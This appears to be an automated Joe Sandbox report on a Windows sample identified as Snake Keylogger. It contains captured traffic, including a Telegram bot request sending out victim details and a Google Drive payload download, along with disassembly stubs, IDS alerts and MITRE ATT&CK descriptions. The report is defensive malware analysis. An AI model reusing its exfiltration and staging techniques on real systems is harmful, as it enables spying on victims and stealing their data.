Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.188 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%2028/10/2024%20/%2022:44:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F2C0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F4AC
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F52F
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 0016FC19h	4_2_0016F961
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35782C19h	4_2_35782968
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 357831E0h	4_2_35782DC8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578E0A9h	4_2_3578DE00
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578D7F9h	4_2_3578D550
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 357831E0h	4_2_3578310E
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 357831E0h	4_2_35782DB8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578DC51h	4_2_3578D9A8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_35780040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578FAB9h	4_2_3578F810
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578D3A1h	4_2_3578D0F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578CF49h	4_2_3578CCA0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578F209h	4_2_3578EF60
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35780D0Dh	4_2_35780B30
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35781697h	4_2_35780B30
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578EDB1h	4_2_3578EB08
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578F661h	4_2_3578F3B8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578E501h	4_2_3578E258
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 3578E959h	4_2_3578E6B0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E69280h	4_2_35E68FB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E67EB5h	4_2_35E67B78
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6CCB6h	4_2_35E6C9E8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E618A1h	4_2_35E615F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6ECA6h	4_2_35E6E9D8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E65E81h	4_2_35E65BD8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E61449h	4_2_35E611A0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6BA76h	4_2_35E6B7A8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E62E59h	4_2_35E62BB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E65A29h	4_2_35E65780
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6FA56h	4_2_35E6F788
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6DA66h	4_2_35E6D798
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E60FF1h	4_2_35E60D48
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6E816h	4_2_35E6E548
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6C826h	4_2_35E6C558
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E62A01h	4_2_35E62758
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E679C9h	4_2_35E67720
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E655D1h	4_2_35E65328
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E625A9h	4_2_35E62300
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6D5D6h	4_2_35E6D308
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6B5E6h	4_2_35E6B318
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E60B99h	4_2_35E608F0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6F5C6h	4_2_35E6F2F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6C396h	4_2_35E6C0C8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E67571h	4_2_35E672C8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E65179h	4_2_35E64ED0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E62151h	4_2_35E61EA8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6E386h	4_2_35E6E0B8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then mov esp, ebp	4_2_35E6B081
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E66733h	4_2_35E66488
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E60741h	4_2_35E60498
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E63709h	4_2_35E63460
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6F136h	4_2_35E6EE68
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E67119h	4_2_35E66E70
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6D146h	4_2_35E6CE78
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E64D21h	4_2_35E64A78
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E602E9h	4_2_35E60040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E61CF9h	4_2_35E61A50
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E648C9h	4_2_35E64620
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6DEF6h	4_2_35E6DC28
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E662D9h	4_2_35E66030
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E6BF06h	4_2_35E6BC38
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E632B1h	4_2_35E63008
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 35E66CC1h	4_2_35E66A18
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B6970h	4_2_367B6678
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B4746h	4_2_367B4478
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BD768h	4_2_367BD470
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BAC60h	4_2_367BA968
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B0C2Eh	4_2_367B0960
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B8158h	4_2_367B7E60
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B3E26h	4_2_367B3B58
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BEF50h	4_2_367BEC58
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BC448h	4_2_367BC150
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B5E16h	4_2_367B5B48
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B9940h	4_2_367B9648
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B030Eh	4_2_367B0040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B6E38h	4_2_367B6B40
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B3506h	4_2_367B3238
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BDC30h	4_2_367BD938
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BB128h	4_2_367BAE30
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B54F6h	4_2_367B5228
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B8620h	4_2_367B8328
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BF418h	4_2_367BF120
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B2BE6h	4_2_367B2918
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BC910h	4_2_367BC618
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B19DEh	4_2_367B1710
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B9E08h	4_2_367B9B10
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B4BD7h	4_2_367B4908
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B7300h	4_2_367B7008
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BE0F8h	4_2_367BDE00
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B22C6h	4_2_367B1FF8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BB5F0h	4_2_367BB2F8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B10BEh	4_2_367B0DF0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B8AE8h	4_2_367B87F0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B42B6h	4_2_367B3FE8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BF8E0h	4_2_367BF5E8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BCDD8h	4_2_367BCAE0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B6347h	4_2_367B5FD8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BA2D0h	4_2_367B9FD8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B079Eh	4_2_367B04D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B77C8h	4_2_367B74D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BE5C0h	4_2_367BE2C8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BBAB8h	4_2_367BB7C0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B5986h	4_2_367B56B8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B8FB0h	4_2_367B8CB8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BFDA8h	4_2_367BFAB0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B3076h	4_2_367B2DA8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BD2A0h	4_2_367BCFA8
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B1E47h	4_2_367B1BA0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BA798h	4_2_367BA4A0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B5066h	4_2_367B4D98
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B7C90h	4_2_367B7998
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BEA88h	4_2_367BE790
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B2756h	4_2_367B2488
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367BBF80h	4_2_367BBC88
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B154Eh	4_2_367B1280
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367B9478h	4_2_367B9180
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F1FE8h	4_2_367F1CF0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F0CC8h	4_2_367F09D0
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F0338h	4_2_367F0040
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F1B20h	4_2_367F1828
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F1190h	4_2_367F0E98
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F1658h	4_2_367F1360
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then jmp 367F0801h	4_2_367F0508
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36833E70
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36833E60
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36830A10
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_368308DE
Source: C:\Users\user\Desktop\Fa24c148.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_36830960

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49736 -> 142.250.185.206:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1BxjUpVo1l3Tc98y3lq5MzBCE4rW1Evm6&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fa24c148.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Pjaskeriers.fra

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\akvarierne.lbe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\cornetcies.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\dmt.roi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\hisset.tjr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\juleriernes.lia

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\matematikopgavens.sti

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\rygmarvsprvens.Beg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\tipssensationens.hve

C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
Fa24c148.exe

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

